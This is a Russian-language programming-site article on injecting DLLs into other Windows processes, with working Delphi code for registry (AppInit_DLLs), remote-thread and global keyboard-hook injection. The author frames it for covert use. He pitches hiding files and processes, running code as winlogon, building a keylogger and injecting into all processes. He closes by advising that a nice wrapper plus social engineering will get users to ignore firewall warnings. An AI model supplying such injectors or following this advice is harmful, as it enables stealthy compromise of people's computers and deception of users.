Пятница, 25.07.2025, 10:49
Приветствую Вас Гость | RSS

Мир программирования

Каталог статей

Главная » Статьи » Статьи различные » Разные трюки в Delphi

Внедрение DLL в чужое адресное пространство

Внедрение DLL в чужое адресное пространство.

Внедрение DLL в чужой процесс обычно требуется, если надо выполнить некоторый код с более высокими привилегиями или для изменения логики стороннего приложения,например, можно захватить таблицу импорта (IAT)

и подменять результаты некоторых функций, как следствие возможно скрывать файлы, ключи реестра, процессы и делать всё на что хватит фантазии, от имени процесса, в который внедрена твоя DLL.

Итак, существует три основных способа внедрения DLL в адресное пространство процесса в режиме пользователя (в 3-ем кольце): внедрение с помощью реестра, удалённых потоков и глобальных ловушек (hooks).

Для демонстрации внедрения используем простенькую библиотеку ShowMe.dll, которая при каждой загрузке будет делать запись в скрытый, «системный», текстовый файл C:\Temp\Inject.dll

library ShowMe;
uses Windows;
function IntToStr(val: dword): string;
begin
Str(val, result);
end;
procedure WriteLabelInFile();
var fH, bwr: dword;
text: pchar;
begin
text:= PChar('Our DLL is now loaded in process:'#13+
'PID = '+IntToStr(GetCurrentProcessId)+#13+ParamStr(0)+
#13'------------------------------------------------'#13);
fH:=CreateFile('C:\Temp\Inject.dll', GENERIC_READ or
GENERIC_WRITE, 0, nil, OPEN_ALWAYS,
FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN, 0);
SetFilePointer(fH, 0, nil, FILE_END);
WriteFile(fH, pointer(text)^, Length(text), bwr, nil);
CloseHandle(fH);
end;
 
begin
try
WriteLabelInFile();
except end;
end.

Внедрение DLL с помощью реестра

Данный способ работает только в Windows NT (2000, XP, 2003, etc.). При загрузке любого приложения, использующего user32.dll, а таких абсолютное большинство, все DLL, перечисленные в ключе реестра HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs, загружаются в адресное пространство этого приложения. Например, следующая простенькая программа пропишет нашу тестовую dll в нужном ключе реестра.

program LoadDLLviaRegistry;
uses Windows;
const my_dll = 'showme.dll';
var reg: HKEY;
status: integer;
sval: PChar;
curr_val: array[0..255] of char;
curr_len, curr_type: dword;
begin
status:= RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion\Windows', 0, KEY_ALL_ACCESS, reg);
if (status = ERROR_SUCCESS) then
begin
sval:=my_dll;
curr_len:=255;
RegQueryValueEx(reg, 'AppInit_DLLs', nil, @curr_type, @curr_val, @curr_len);
curr_val[curr_len]:=#0;
if (curr_val[0]<>#0)and(curr_val<>my_dll) then
sval:=PChar(sval+' '+curr_val);
RegSetValueEx(reg, 'AppInit_DLLs', 0, REG_SZ, sval, Length(sval));
end;
end.

После запуска этой программы все приложения, использующие user32.dll, получат заодно и нашу dll в своё адресное пространство. После перезагрузки код помещённый в ShowMe.dll сможет выполняться даже от системной учётной записи. Однако этот способ самый простой не только в реализации, но и в обнаружении, поэтому воспользоваться им в реальных задачах проблематично.

Внедрение DLL с помощью удалённого потока

Наиболее сложным в реализации, но при этом наиболее гибким и мощным методом внедрения DLL является использование удалённых потоков. Для создания удалённого потока применяется API-функция CreateRemoteThread, она принимает 7 параметров, но нас интересуют только 3 из них. Первый параметр – это дескриптор процесса, в котором мы хотим создать поток, его возвращает функция OpenProcess (в нашем случае нужно открыть процесс с заданным

hProc:= OpenProcess(PROCESS_ALL_ACCESS or PROCESS_VM_WRITE,true,PID);

В качестве четвёртого параметра необходимо передать адрес функции LoadLibrary в целевом процессе, но если он импортирует функции из библиотеки kernel32.dll, то мы можем воспользоваться адресом LoadLibrary в нашем процессе, так как библиотека kernel32.dll в целевом процессе расположена под тем же самым виртуальном адресом, что и в процессе, выполняющем внедрение (спасибо Microsoft`y за этот факт). Итак, чтобы получить нужный адрес применим функцию GetProcAddress: идентификатором (PID) на запись).

lpStartAddress:= GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');

Третий и шестой параметры установим в 0, а второй – в nil, седьмой параметр является выходным (out), в него запишется идентификатор созданного потока.

Остаётся самый важный параметр – пятый, в него необходимо передать адрес аргумента, который будет передан функции LoadLibrary. Но тут есть большая проблема – нельзя просто передать сюда указатель на строку, содержащую имя нашей dll, так как строка физически находится в адресном пространстве процесса, выполняющего внедрение, поэтому этот указатель не имеет смысла для целевого процесса. Однако Microsoft опять спешит нам на помощь, предлагая способ записи данных в адресное пространство чужого процесса. Для этого необходимо выделить память в адресном пространстве целевого процесса, при помощи функции VirtualAllocEx, а затем записать в выделенную память имя DLL функцией WriteProcessMemory.

Первым параметром функции VirtualAllocEx необходимо передать уже знакомый нам дескриптор целевого процесса, открытого на запись. Вторым параметром идёт адрес выделяемого участка памяти, но так мы не хотим повредить сам процесс, то предоставим вычисление этого адреса операционной системе, передав nil в этот параметр. Третьим параметром передаётся объём выделяемой памяти, под имя DLL нам вполне хватит 255 байт. Четвертый параметр – это тип выделения памяти, используем MEM_COMMIT, в этом случае
память реально выделится и очистится от мусора. Последний параметр – это уровень защищенности выделяемой памяти, здесь можно запретить кеширование и даже доступ к выделенной памяти, но мы просто укажем, что мы хотим получить к ней доступ на чтение и запись, в итоге получается:

pmem:= VirtualAllocEx(hProc, nil, 255, MEM_COMMIT, PAGE_READWRITE);

Функция записи WriteProcessMemory весьма проста, ей надо передать дескриптор целевого процесса, открытого на запись, адрес участка памяти, куда будет произведена запись, полученный с помощью VirtualAllocEx, записываемые данные и их размер, а в качестве последнего параметра – переменную, в которую запишется число реально записанных байт.

WriteProcessMemory(hProc, pmem, DllName, Length(DllName), wrb)

Теперь всё готово для создания удалённого потока. Вот рабочий прототип программы внедрения:

program LoadDLL;
uses Windows, Tlhelp32, SysUtils;
...
function Load_DLL(DllName: PChar; PID: dword): boolean;
var hProc: dword;
lpStartAddress, pmem: pointer;
wrb, lpThId: dword;
begin
hProc:=OpenProcess(PROCESS_ALL_ACCESS or
PROCESS_VM_WRITE,true,PID);
if (hProc<>0) then
begin
lpStartAddress:= GetProcAddress(GetModuleHandle('kernel32.dll'),
'LoadLibraryA');
pmem:= VirtualAllocEx(hProc,nil, 255, MEM_COMMIT,
PAGE_READWRITE);
if (pmem=nil) then result:=false else
begin
if not
WriteProcessMemory(hProc,pmem,DllName,Length(DllName),wrb)
then result:=false else
if (dword(Length(DllName)) = wrb) then
begin
result:=CreateRemoteThread(hProc, nil, 0, lpStartAddress,
pmem, 0, lpThId)<>0;
end else result:=false;
end;
end else result:=false;
end;
const DllName = 'ShowMeHook.dll';
var PID: dword;
begin
SetSeDebugPrivilege;
PID:=GetPID('notepad.exe');
if (PID>0) then Load_DLL(DllName, PID);
end.

Принцип действия функции Load_DLL я подробно описал выше, тёмными лошадками
остаются функции GetPID и SetSeDebugPrivilege. Фунция GetPID просто ищет процесс с заданным именем и возвращает его идентификатор – PID. Перечисление процессов очень подробно рассматривал tripsin в выпуске VR-prog14, поэтому я не буду останавливаться на этом моменте.

Функция SetSeDebugPrivilege стандартным образом получает отладочные привилегии (SeDebugPrivilege), это необходимо для получения возможности выделения памяти в системных процессах, таким образом ты можешь выполнять свой код от имени svchost.exe или winlogon.exe, а это уже реально круто.

В прилагаемом к статье архиве ты найдёшь полную версию программы, с дополнительной функцией – внедрение DLL во все активные процессы.

Внедрение DLL с помощью глобальных ловушек

Приложения получают массу сообщений, уведомляющих о различных событиях, например, нажатие на клавишу, когда одно из окон приложения активно. Microsoft предложила способ, позволяющий перехватывать оконные сообщения чужого процесса. Именно его мы и используем для внедрения DLL в чужое адресное пространство. Заключается этот способ в вызове функции SetWindowsHookEx, которой передаётся 4 параметра: первый – тип перехватываемых сообщения (WH_KEYBOARD для перехвата сообщений от клавиатуры), второй – указатель на процедуру-обработчик (именно она может стать сердцем кейлогера, например), третий – виртуальный адрес библиотеки, которая содержит процедуру-обработчик и последний параметр – это идентификатор потока, который мы хотим захватить, либо 0 для захвата всех потоков. Внесём некоторые изменения в нашу внедряемую библиотеку, соответствующие глобальному перехвату:

...
var KHook: HHOOK;
...
function KProc(Code: integer; wParam: Word; lParam: LongInt):
LongInt; stdcall;
begin
result:=CallNextHookEx(KHook, code, wParam, lParam);
end;
...
procedure Run();
begin
while true do
Wait(100); // ожидание 100 мс.
end;
...
var thID: dword;
begin
KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);
WriteLabelInFile();
end.

Здесь KProc – процедура-перехватчик, она будет вызываться при каждом нажатии клавиши на клавиатуре. В данном случае она просто передаёт управление следующему обработчику, но никто не мешает тебе записать это нажатие в файл и сделать кейлогер, написание кейлогера выходит за рамки данной статьи, но если эта тема будет кому-нибудь интересна, то я освещу её в одной из последующих статей...

Для внедрения теперь достаточно вызвать rundll32.exe ShowMeHook.dll, Run. После первого же нажатия в окне чужого приложения, rundll32.exe больше не нужен, достаточно одного процесса с внедрённой DLL, чтобы контролировать всю систему. Все зараженные процессы отметятся в C:\Temp\Inject.dll.

P.S. Теперь ты знаешь как можно выполнить произвольный код от имени любого процесса, но есть один небольшой недостаток – все три способа вызывают предупреждения фаерволла (проверялось на Outpost), хотя понять их смысл сможет только программист (да и то далеко не каждый придаст им соответствующее значение), поэтому если ты обернёшь свою программу в красивую обёртку, пользователя не остановят никакие предупреждения и он разрешит ей всё, ибо социальную инженерию ещё никто не отменял...

Written by: Romul aka Смирнов Роман



Источник: http://www.vr-online.ru/?q=system/files/article/2010/04/dll_inject_zip_20301.zip
Категория: Разные трюки в Delphi | Добавил: VintProg (14.05.2010) | Автор: Внедрение DLL в чужое адресное прос
Просмотров: 2831 | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Категории раздела
Наш опрос
Оцените мой сайт
Всего ответов: 88
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
Поиск